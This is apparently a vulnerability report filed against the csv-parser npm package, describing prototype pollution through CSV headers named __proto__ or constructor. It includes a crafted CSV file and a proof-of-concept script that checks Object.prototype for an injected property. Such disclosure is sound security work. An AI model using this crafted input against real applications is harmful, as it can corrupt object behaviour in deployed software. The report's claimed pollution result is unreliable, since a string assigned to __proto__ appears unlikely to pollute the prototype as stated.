Prototype Pollution in csv-parser

[dfzysmy2tf-create]

hi, we are a security team. We found a Prototype Pollution vulnerability in your project.

• Operating System: All
• Node Version: All LTS versions
• NPM Version: All
• csv-parser Version: All versions

Expected Behavior

1. CSV headers containing special keys like __proto__ or constructor should be treated as ordinary string property names (not prototype chain modifiers).
2. Parsing CSV files should not modify the prototype of Row instances or the global Object.prototype.
3. Object property assignment during parsing should be safe and not cause prototype pollution.

Actual Behavior

1. When parsing CSV files with __proto__/constructor as headers, the _compile() method dynamically generates Row constructor code that directly uses unfiltered header names.
2. Assignment statements like this["__proto__"] = cells[1] modify the prototype chain of the Row instance, leading to global Object.prototype pollution.
3. Arbitrary properties (e.g., polluted: "yes") are injected into the global prototype, causing unexpected behavior (e.g., unauthorized property inheritance, broken instanceof checks).
4. The constructor header injection overwrites the constructor reference of Row instances, corrupting prototype inheritance logic.

How Do We Reproduce?

1. Install csv-parser (any version):

   npm install csv-parser

2.Create a malicious CSV file named malicious.csv
```csv
name,__proto__,value
device1,{"polluted":"yes"},100

3.Create a test script poc.js:

const fs = require('fs');
const csv = require('csv-parser');

// Check initial state (should be undefined)
console.log('Before parsing:', Object.prototype.polluted);

// Parse the malicious CSV file
fs.createReadStream('malicious.csv')
 .pipe(csv())
 .on('data', (row) => {
   console.log('Parsed row data:', row);
 })
 .on('end', () => {
   // Verify prototype pollution (vulnerable versions return "yes")
   console.log('After parsing:', Object.prototype.polluted);
 });

4.Run the script:

node poc.js

5.Observe the output:
Expected: Before parsing: undefined / After parsing: undefined
Actual (vulnerable): Before parsing: undefined / After parsing: yes